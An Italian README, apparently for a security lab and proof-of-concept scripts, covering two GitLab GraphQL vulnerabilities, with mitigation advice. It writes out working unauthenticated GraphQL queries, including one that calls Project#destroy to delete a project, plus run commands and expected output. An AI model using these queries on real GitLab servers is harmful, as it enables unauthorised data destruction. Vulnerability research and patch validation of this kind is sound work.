Laboratorio A/B riproducibile + PoC sicuro per GitLab CVE-2026-19478 / CVE-2026-19650 (GraphQL @gl_introduced)
@gl_introduced invocazione non autenticata di metodi arbitrari (lab di validazione + PoC)Lab A/B riproducibile e PoC sicuro per CVE-2026-19478 (GitLab CE/EE, CVSS 9.4, Critico). Un attaccante non autenticato può invocare metodi Ruby arbitrari a 0 argomenti su oggetti di dominio risolti tramite GraphQL — ad es. chiamare
Project#destroyper eliminare un progetto pubblico senza credenziali.Include anche un PoC per la vulnerabilità correlata CVE-2026-19650 (query-swap multiplex GraphQL) corretta nella stessa release.
Solo per test di sicurezza autorizzati / scopi didattici. Tutto viene eseguito sui tuoi container locali.
GitLab include una direttiva client GraphQL @gl_introduced(version: "X.Y.Z") (compatibilità in avanti per i deploy rolling). Quando una query nomina un campo con una versione più recente del server in esecuzione, un tracer
(Gitlab::Graphql::VersionFilter::IntroducedTracer) lo rimuove prima della validazione statica, così la query viene validata; poi il server riesegue il documento in fase di esecuzione e lascia che i campi sconosciuti vengano risolti tramite un fallback.
Il bug è nel fallback (lib/gitlab/graphql/version_filter/future_field_fallback.rb, pre-patch):
def fallback_field(name:)
GraphQL::Schema::Field.new(owner: self, name: name,
type: GraphQL::Types::Boolean, fallback_value: nil) # <-- no resolver
end
Un GraphQL::Schema::Field senza resolver viene risolto da graphql-ruby chiamando
object.public_send(field_name) (graphql-ruby lib/graphql/schema/field.rb — il
ramo respond_to?(@method_sym) → public_send viene eseguito prima che fallback_value venga mai consultato, quindi fallback_value: nil era codice morto). Pertanto, con @gl_introduced, il client sceglie un nome di campo uguale a qualsiasi metodo a 0 argomenti dell'oggetto attualmente risolto, e il server lo invoca.
Risolvi un progetto pubblico, richiedi un "campo futuro" chiamato destroy → il server esegue Project#destroy.
AV:N/AC:L/PR:N/UI:N/C:L/I:H/A:H).Resolvers::NilResolver che restituisce nil e non chiama mai un metodo.@gl_introduced(version:) deve essere maggiore della versione del server (usa 99.0.0).to_param, destroy).id), altrimenti il documento filtrato è un
set di selezioni vuoto e GitLab restituisce un errore di validazione "Field must have selections".Requisiti: Docker + docker compose, ~8 GB di RAM libera, Python 3.
docker compose up -d # boots vulnerable :8222 and patched :8224 (GitLab takes ~3-5 min to become healthy)
./setup.sh # waits for readiness, seeds a public project + an admin token on each instance
setup.sh stampa, per ciascuna istanza: l'URL di base, il percorso del progetto pubblico creato (root/pub) e un PAT admin.
Usa la primitiva di invocazione di metodo con un metodo innocuo (to_param). Nessun dato viene modificato.
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 # vulnerable -> VULNERABLE
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8224 # patched -> NOT VULNERABLE
Output atteso:
[*] mechanism check .......... @gl_introduced active (unknown field returns null, no error)
[*] method-call probe ........ { project(fullPath:"root/pub"){ id to_param @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":true}}
[!] VULNERABLE — server invoked Project#to_param via public_send (returned non-null); CVE-2026-19478 present.
vs. sull'istanza patchata:
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":null}}
[+] NOT VULNERABLE — fallback returned null (NilResolver); patched.
Crea un proprio progetto pubblico usa-e-getta tramite l'API REST (serve il token admin di setup.sh),
poi lo elimina tramite l'attacco GraphQL non autenticato e conferma che il progetto non esiste più.
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 \
--prove-destroy --token <ADMIN_PAT_FROM_setup.sh> --namespace root
Output atteso (versione vulnerabile):
[*] created throwaway public project poc-doomed-<rand> (id=42) via REST
[*] UNAUTH attack ............ { project(fullPath:"root/poc-doomed-<rand>"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/42","destroy":true}}
[+] post-check (REST) ........ GET /api/v4/projects/42 -> 404 Not Found
[!] CONFIRMED — unauthenticated request DELETED the project. CVE-2026-19478 impact proven.
Sull'istanza patchata la stessa esecuzione riporta che il progetto restituisce ancora 200 OK e destroy è null.
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8222 # VULNERABLE (slot 0 returns slot 1's data)
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8224 # NOT VULNERABLE (slots isolated)
Punta --url su qualsiasi GitLab che sei autorizzato a testare e --project su un progetto pubblico presente su di esso:
python3 poc_cve_2026_19478.py --url https://gitlab.example.com --project some-group/some-public-project
Il rilevamento è non distruttivo. Non usare --prove-destroy su nulla che non possiedi.
Aggiorna a 19.2.4 / 19.1.6 / 19.0.8 / 18.11.11 o versioni successive. La correzione instrada il fallback attraverso
Resolvers::NilResolver (restituisce nil, non invoca mai un metodo dell'oggetto). Se non puoi aggiornare
immediatamente, blocca la direttiva @gl_introduced / il percorso del version-filter a livello di proxy, oppure limita
l'accesso GraphQL non autenticato.
| File | Scopo |
|---|---|
docker-compose.yml | Avvia la versione vulnerabile 19.2.2-ce (:8222) + quella patchata 19.2.4-ce (:8224) |
setup.sh | Attende che le istanze siano pronte, crea il progetto pubblico root/pub + token admin per istanza |
poc_cve_2026_19478.py | Rilevamento (sicuro) + prova d'impatto opzionale --prove-destroy |
poc_cve_2026_19650.py | Rilevamento query-swap multiplex (sicuro) |
--prove-destroy crea ed elimina il suo progetto usa-e-getta; non tocca mai root/pub né i tuoi dati.e283c6adeb3d (fallback) e d2ea4b971a98 (multiplex swap).